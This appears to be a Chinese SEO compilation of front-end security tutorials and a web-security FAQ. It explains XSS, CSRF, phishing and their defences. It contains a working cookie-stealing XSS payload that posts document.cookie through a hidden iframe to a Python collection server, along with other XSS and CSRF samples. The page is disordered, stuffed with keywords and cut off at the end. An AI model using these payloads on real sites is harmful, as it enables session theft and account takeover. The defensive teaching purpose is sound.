答：服务器被挂马，通常情况下，若出现诸如“弹出页面”，则可以比较容易发现，发现防病毒软件告警之类，则可以发现服务器被挂马;由于漏洞不断更新，挂马种类时刻都在变换，通过客户端的反映来发现服务器是否被挂马往往疏漏较大;正确的做法是经常性的检查服务器日志，发现异常信息;经常检查网站代码，借助于专业的检测工具来发现网页木马会大大提高工作效率和准确度。 关于网站前端安全策略和前端安全策略有哪些的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。 网站前端安全策略的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于前端安全策略有哪些、网站前端安全策略的信息别忘了在本站进行查找喔。
本文目录一览：
HTML5技术分享 浅谈前端安全以及如何防范
随着互联网的发达，各种WEB应用也变得越来越复杂，满足了用户的各种需求，但是随之而来的就是各种网络安全的问题。作为前端开发行业的我们也逃不开这个问题。所以今天我就简单聊一聊WEB前端安全以及如何防范。
首先前端攻击都有哪些形式，我们该如何防范?
一、XSS攻击
XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植 入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻 击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型 的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。
XSS攻击的危害包括：
1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
XSS攻击的具体表现：
1、JavaScript代码注入
下面是代码的页面
这段代码的作用是把第一个输入框的字符串，输出到第二个输入框，我们输入1，那么第二个input里的value值就是1，下面是页面的截图和源代码的截图(这里我输入下面的代码来测试)
<SCRIPTalert('xss')</SCRIPT
明显的可以看到，并没有弹出对话框，大家可能会疑惑为什么没有弹窗呢，看看源代码
我们看到我们输入的字符串被输出到第15行input标签里的value属性里面，被当成value里的值来显现出来，所以并没有弹窗，这时候我们该怎么办呢?聪明的人已经发现了可以在
<SCRIPTalert('xss')</SCRIPT
前面加个"来闭合input标签。所以应该得到的结果为
成功弹窗了，我们在看看这时的页面
看到后面有第二个input输入框后面跟有"字符串，为什么会这样呢，我们来看看源代码
解决办法：目前来讲，最简单的办法防治办法，还是将前端输出数据都进行转义最为稳妥，虽然显示出来是有script标签的，但是实际上，script标签的左右尖括号(<)，均被转义为html字符实体，所以，便不会被当做标签来解析的，但是实际显示的时候，这两个尖括号，还是可以正常展示的。
2、append的利用
上一小节我们防住了script标签的左右尖括号，但聪明的黑客们还是想出了好办法去破解，我们知道，直接给innerHTML赋值一段js，是无法被执行的。比如，
$('div').innerHTML ='<SCRIPTalert("okok");</SCRIPT '';
但是，jQuery的append可以做到，究其原因，就是因为jquery会在将append元素变为fragment的时候，找到其中的script标签，再使用eval执行一遍。jquery的append使用的方式也是innerHTML。而innerHTML是会将unicode码转换为字符实体的。
利用这两种知识结合，我们可以得出，网站使用append进行dom操作，如果是append我们可以决定的字段，那么我们可以将左右尖括号，使用unicode码伪装起来，就像这样--"\u003cscript\u003ealert('xss');"。接下来转义的时候，伪装成\u003的<会被漏掉，append的时候，则会被重新调用。虽然进行了转义，注入的代码还是会再次被执行
3、img标签的再次利用
img标签，在加载图片失败的时候，会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。
但是，如果这张图片的地址我们换种写法呢?
这时的源码已经变为--src为空，但是onerror的时候，执行注入代码。我们刷新查看页面，就会发现，代码注入已经成功，需要继续转义。
二、 CSRF攻击
什么是CSRF攻击?
CSRF(Cross-site request forgery跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。其实就是网站中的一些提交行为，被黑客利用，你在访问黑客的网站的时候，进行的操作，会被操作到其他网站上(如：你所使用的网络银行的网站)。
1、要合理使用post与get
通常我们会为了省事儿，把一些应当提交的数据，做成get请求。殊不知，这不仅仅是违反了http的标准而已，也同样会被黑客所利用。
比如，你开发的网站中，有一个购买商品的操作。你是这么开发的：
那么，黑客的网站可以这样开发：
这样的话，用户只需要访问一次黑客的网站，其实就相当于在你的网站中，操作了一次。然而用户却没有感知。
所以，我们日常的开发，还是要遵循提交业务，严格按照post请求去做的。更不要使用jsonp去做提交型的接口，这样非常的危险。
2、xsrf攻击升级
如果你使用了post请求来处理关键业务的，还是有办法可以破解的。我们的业务代码如下：
黑客代码如下：
点击后，用户进行了提交，却连自己都不知情。这种情况如何防御呢?
最简单的办法就是加验证码，这样除了用户，黑客的网站是获取不到用户本次session的验证码的。但是这样也会降低用户的提交体验，特别是有些经常性的操作，如果总让用户输入验证码，用户也会非常的烦。
另一种方式，就是在用访问的页面中，都种下验证用的token，用户所有的提交都必须带上本次页面中生成的token，这种方式的本质和使用验证码没什么两样，但是这种方式，整个页面每一次的session，使用同一个token就行，很多post操作，开发者就可以自动带上当前页面的token。如果token校验不通过，则证明此次提交并非从本站发送来，则终止提交过程。如果token确实为本网站生成的话，则可以通过。
代码如下
并没有携带本站每次session生成的token，则提交失败。
本站的网站form，则都会自动携带本站生成的token
再次使用本站的网页进行提交，则通过
当然，上面的只是例子，具体的token生成，肯定是要随着session与用户ID去变的，如果各位看官觉得自己的网站也需要加个token，请自行百度，进行深入的学习。
三、网络劫持攻击
很多的时候，我们的网站不是直接就访问到我们的服务器上的，中间会经过很多层代理，如果在某一个环节，数据被中间代理层的劫持者所截获，他们就能获取到使用你网站的用户的密码等保密数据。比如，我们的用户经常会在各种饭馆里面，连一些奇奇怪怪的wifi，如果这个wifi是黑客所建立的热点wifi，那么黑-客就可以结果该用户收发的所有数据。这里，建议站长们网站都使用https进行加密。这样，就算网站的数据能被拿到，黑客也无法解开。
如果你的网站还没有进行https加密的化，则在表单提交部分，最好进行非对称加密--即客户端加密，只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。
四、控制台注入代码
不知道各位看官有没有注意到天猫官网控制台的警告信息，如图4.1所示，这是为什么呢?因为有的黑客会诱骗用户去往控制台里面粘贴东西(欺负小白用户不懂代码)，比如可以在朋友圈贴个什么文章，说:"只要访问天猫，按下F12并且粘贴以下内容，则可以获得xx元礼品"之类的，那么有的用户真的会去操作，并且自己隐私被暴露了也不知道。
天猫这种做法，也是在警告用户不要这么做，看来天猫的前端安全做的也是很到位的。不过，这种攻击毕竟是少数，所以各位看官看一眼就行，如果真的发现有的用户会被这样攻击的话，记得想起天猫的这种解决方案。
五、钓=鱼
钓鱼也是一种非常古老的攻击方式了，其实并不太算前端攻击。可毕竟是页面级别的攻击，我们也来一起聊一聊。我相信很多人会有这样的经历，Q-Q群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了，详情在我Q-Q空间里啦，之类的连接。打开之后发现一个Q-Q登录框，其实一看域名就知道不是Q-Q，不过做得非常像Q-Q登录，不明就里的用户们，就真的把用户名和密码输入了进去，结果没登录到Q-Q，用户名和密码却给人发过去了。
其实这种方式，在前端也有利用。下面，我们就来试试如果利用前端进行一次逼真的钓鱼。
1 首先，我们在xx空间里分享一篇文章，然后吸引别人去点击。
2 接着，我们在cheat.php这个网站上面，将跳转过来的源网页地址悄悄的进行修改。
于是，在用户访问了我们的欺骗网站后，之前的tab已经悄然发生了变化，我们将其悄悄的替换为了钓鱼的网站，欺骗用户输入用户名、密码等。
3 我们的钓鱼网站，伪装成XX空间，让用户输入用户名与密码
这种钓鱼方式比较有意思，重点在于我们比较难防住这种攻击，我们并不能将所有的页面链接都使用js打开。所以，要么就将外链跳转的连接改为当前页面跳转，要么就在页面unload的时候给用户加以提示，要么就将页面所有的跳转均改为window.open，在打开时，跟大多数钓鱼防治殊途同归的一点是，我们需要网民们的安全意识提高。
六、我们平时开发要注意些什么?
开发时要提防用户产生的内容，要对用户输入的信息进行层层检测要注意对用户的输出内容进行过滤(进行转义等)重要的内容记得要加密传输(无论是利用https也好，自己加密也好)
get与post请求，要严格遵守规范，不要混用，不要将一些危险的提交使用jsonp完成。
对于URL上携带的信息，要谨慎使用。心中时刻记着，自己的网站哪里可能有危险。
网站安全之如何防止网站被黑
1、隐藏好IP，做好防护。2、网站使用CDN。就近接入，就是利用DNS服务找到离用户最近的机器，从而达到 最短路径提供服务，DNS服务理论上可以找到所有这个公司的机房和IP，从而还能 够进行流量的调度。
3、服务器的补丁一定及时打好，不定时更新很有必要。
4、网站后台的路径要隐藏好，很多网站都不注意这一点，很容易被攻击。
5、网站的账号密码要设置复杂点，平常注册的时候提示什么数字字母特殊符号的 。
6、服务器备份。而且要及时更新备份，不要等到失去是后悔莫及。
7、服务器的防火墙。不要乱传来路不明以及不好的内容到网站的目录。
8、常用的端口都要关闭。
9、一定要开启防火墙。
10、最后注意不要存在弱命令。
11、服务器端设置防火墙等，通常需要与空间服务商沟通，让其代为设置。建议找专业的安全公司来解决，国内也就Sinesafe和绿盟等安全公司 比较专业.我们需要做的就是让网站自身的安全性更高，防止黑客获取我们网站相关的权限.
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"</script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
Web安全问题解答
很多新手都觉得自己的电脑web经常被木马侵袭网站前端安全策略，所以下面我为大家带来电脑基础知识学习之Web安全问题，让你网站前端安全策略了解下如何安全的保护好自己的电脑。1、什么叫Web应用系统?
答：Web应用系统就是利用各种动态Web技术开发的，基于B/S(浏览器/服务器)模式的事务处理系统。用户直接面对的是客户端浏览器，使用Web应用系统时，用户通过浏览器发出的请求，其之后的事务逻辑处理和数据的逻辑运算由服务器与数据库系统共同完成，对用户而言是完全透明的。运算后得到的结果再通过网络传输给浏览器，返回给用户。比如：ERP系统、CRM系统以及常见的网站系统(如电子政务网站、企业网站等)都是Web应用系统。
2、为什么Google把我的网站列为恶意网站
答：Google在对网站内容进行搜索时，同时也会检查是否含有恶意软件或代码(这些恶意软件或代码可能威胁该网站的访问者)。如果该网站存在这样的恶意软件或代码，就会在用户搜索到该网站时，加上一个标记：“该网站可能含有恶意软件，有可能会危害您的电脑”。这将会使网站信誉受损，并导致潜在的用户流失。
3、Web威胁为什么难以防范
答：针对Web的攻击已经成为全球安全领域最大的挑战，主要原因有如下两点：
1. 企业业务迅速更新，需要大量的Web应用快速上线。而由于资金、进度、意识等方面的影响，这些应用没有进行充分安全评估。
2. 针对Web的攻击会隐藏在大量正常的业务行为中，而且使用各种变形伪装手段，会导致传统的防火墙和基于特征的入侵防御系统无法发现和阻止这种攻击。
4、黑客为什么要篡改网站页面
答：当黑客获取网站的控制权限后，往往会更改网站页面，可能的动机有：
1. 宣称政治主张;
2. 炫耀技术，建立“声望”;
3. 宣泄情绪;
4. 经济利益，通过网站释放木马，从而获取经济利益。
5、黑客实施网站挂马的目的是什么
答：网站挂马的主要目的是控制访问该网站的用户的计算机，从而可以进一步获取用户的计算机隐私信息而获利，或者将这些用户的计算机作为“肉鸡”，对 其它 服务器或网络进行DDos攻击。
6、为什么我网站的数据库表内容被大量替换?
答：如果排除了管理员误操作的可能性，则可能是网站服务器被自动化攻击工具(如SQL注入工具等)攻击的结果。目前已经有自动化的工具对网站进行攻击，如果网站存在漏洞的话，攻击工具能够获得对网站数据库访问的权限。如果发现这种情况，应该仔细核查网站服务器和数据库服务器日志，找出更改记录。
7、在Web威胁防御中防火墙的优点和不足
答：防火墙可以过滤掉非业务端口的数据，防止非Web服务出现的漏洞，目前市场上可选择的防火墙品牌也较多。但对于目前大量出现在应用层面上的SQL注入和XSS漏洞，防火墙无法过滤，因而无法保护Web服务器所面临的应用层威胁。
8、常见发布系统之IIS
答：IIS 是Internet Information Server的缩写，是由微软开发的一种Web服务器(Web server)产品，用以支持HTTP、FTP和SMTP服务发布。 它主要运行在微软的 操作系统 之上，是最流行的Web服务器软件之一。
9、常见Web服务器之Apache
答：Apache是Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上。Apache源于NCSAhttpd服务器，经过多次修改，已成为世界上最流行的Web服务器软件之一。
10、Apache是不是比IIS要安全
答：早期的IIS在安全性方面存在着很大的问题，如果使用默认设置，黑客可以轻松趁虚而入。不过在IIS6中，微软公司对其安全方面进行了大幅改进。只要保证操作系统补丁更新及时，就可以将网站安全系数尽可能地提高。
Apache在安全方面一直做得比较好，更主要的原因是很多用户都是在linux系统下使用Apache。相对于微软的操作系统，Linux系统被发布的安全按漏洞更少一些。
从技术角度讲，两个Web服务器的安全性没有本质区别，一个完整的Web系统的安全性更取决于Web程序的安全性以及Web服务器配置的正确性。
11、什么叫应用防火墙
答：应用防火墙的概念在上个世纪九十年代就已经被提出，但在最近几年才真正走向成熟和应用。应用防火墙的概念与网络防火墙相对，网络防火墙关注网络层的访问控制，应用防火墙则关注应用层数据的过滤与控制。
12、什么叫网站防篡改系统
答：网站防篡改系统通过实时监控来保证Web系统的完整性，当监控到Web页面被异常修改后能够自动恢复页面。网站放篡改系统由于其设计理念的限制，对静态页面的防护能力比较好，对动态页面的防护则先天不足。
13、我的Web服务器被访问速度变慢，经常出现连接失败的现象，可能是什么原因造成的呢?
答：这可能有两个方面的情况，一种是网络方面的原因，如运营商的线路故障，或带宽消耗型的DDOS攻击;另外一种情况是服务器方面的原因，如感染病毒，或资源消耗型的拒绝服务攻击。
14、我的Web服务器部署了木马查杀软件，为什么还被挂了木马?
答：所谓的网页被挂马，很多情况下并不是有木马程序或代码被放到了Web服务器上，而是有一段跳转代码(本身不包含攻击信息)被放在了Web服务器上网页中。当远程用户访问带有跳转代码的页面时，将会执行这段代码，从另外一个地址-并执行木马。所以，即使在Web服务器上部署了木马查杀软件，也会由于木马本身并不存在于服务器上，而无法避免网站被挂马。
15、我的Web服务器前端部署了入侵防御产品设备，入侵防御产品设备中包含了几百条的SQL注入攻击防御特征库，为什么我的Web系统还是被SQL注入攻击成功了呢?
答：SQL注入是一种没有固定特征的攻击行为，对安全设备来说，就是属于变种极多的攻击行为。所以，基于数据特征的SQL注入检测 方法 是没有办法穷尽所有组合的，会存在大量的误报、漏报可能。如果采用的入侵防御产品设备采用的是基于数据特征的检测方法，即使包含了数百条SQL注入特征库，也会有漏报出现。
16、黑客为什么喜欢攻击网站?
答：Web业务已经成为当前互联网最为流行的业务，大量的在线应用业务都依托于Web服务进行。并且一些大型网站的日访问量可达百万之巨，不论是直接攻击网站(如网络银行，在线游戏服务器)还是通过网站挂马窃取访问者信息，都可以使黑客获得直接的经济利益。另外一方面，网站是机构的网络形象，通过攻击篡改网站页面，也可以得到最大范围的名声传播。对于那些企图出名的黑客，攻击网站是一项不错的选择。
17、如何判断自己的Web服务器是否已经成为肉鸡?
答：如果发现自己的Web服务器上开启了一些奇怪的进程，发现Web服务器总是有大量从内往外的连接，发现Web服务器不定时系统缓慢，诸如此类的现象，可使用木马清除软件进行检查和查杀。
细分攻击形式：
18、目前国内Web应用系统存在哪些最突出的安全问题?
答：Web应用程序的漏洞是很难避免的，系统的安全隐患主要在三方面：
首先是网络运维人员或安全管理人员对Web系统的安全状况不清楚。哪些页面存在漏洞，哪些页面已经被挂马，网站前端安全策略他们不能够清晰的掌握，从而及时采取改正 措施 ;
其次，在安全设备的部署方面，没有选用专业的、针对Web业务攻击的防御产品对网站进行保护，而是寄托于防火墙这种访问控制类的网关安全设备;
另外，从安全响应来看，Web安全事件发生后的应急与处理也存在欠缺。没有相应的页面恢复系统，也没有处理Web安全事件的专业安全服务团队。很多单位没有制定实时监控的网站安全管理制度。
19、什么叫SQL注入
答：SQL注入就是利用现有应用程序，将恶意的SQL命令注入到网站后台数据库引擎执行的能力。SQL注入利用的是正常的HTTP服务端口，表面上看来和正常的Web访问没有区别，隐蔽性极强，不易被发现。
20、SQL注入有哪些危害
答：SQL注入的主要危害包括：
未经授权状况下操作数据库中的数据;
恶意篡改网页内容;
私自添加系统帐号或者是数据库使用者帐号;
网页挂木马;
21、什么叫XSS
答：跨站脚本攻击(XSS)是攻击者将恶意脚本提交到网站的网页中，使得原本安全的网页存在恶意脚本;或者是直接添加有恶意脚本的网页并诱使用户打开，用户访问网页后，恶意脚本就会将用户与网站的会话COOKIE及其它会话信息全部截留发送给攻击者，攻击者就可以利用用户的COOKIE正常访问网站。攻击者有时还会将这些恶意脚本以话题的方式提交到论坛中，诱使网站管理员打开这个话题，从而获得管理员权限，控制整个网站。跨站脚本漏洞主要是由于没有对所有用户的输入进行有效的验证所造成的，它影响所有的Web应用程序框架。
22、XSS有哪些危害
答：XSS攻击的危害包括：
盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号;
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力;
盗窃企业重要的具有商业价值的资料;
非法转账;
强制发送电子邮件;
网站挂马;
控制受害者机器向其它网站发起攻击。
23、什么叫Shellcode
答：Shellcode实际是一段代码(也可以是填充数据)，可以用来发送到服务器，利用已存在的特定漏洞造成溢出，通称“缓冲区溢出攻击”中植入进程的代码。这段代码可以是导致常见的恶作剧目的的弹出一个消息框弹出，也可以用来删改重要文件、窃取数据、上传木马病毒并运行，甚至是出于破坏目的的格式化硬盘等等。
24、什么叫网站漏洞
答：随着B/S模式被广泛的应用，用这种模式编写Web应用程序的程序员也越来越多。但由于开发人员的水平和 经验 参差不齐，相当一部分的开发人员在编写代码的时候，没有对用户的输入数据或者是页面中所携带的信息(如Cookie)进行必要的合法性判断，导致了攻击者可以利用这个编程漏洞来入侵数据库或者攻击Web应用程序的使用者，由此获得一些重要的数据和利益。
25、什么叫木马
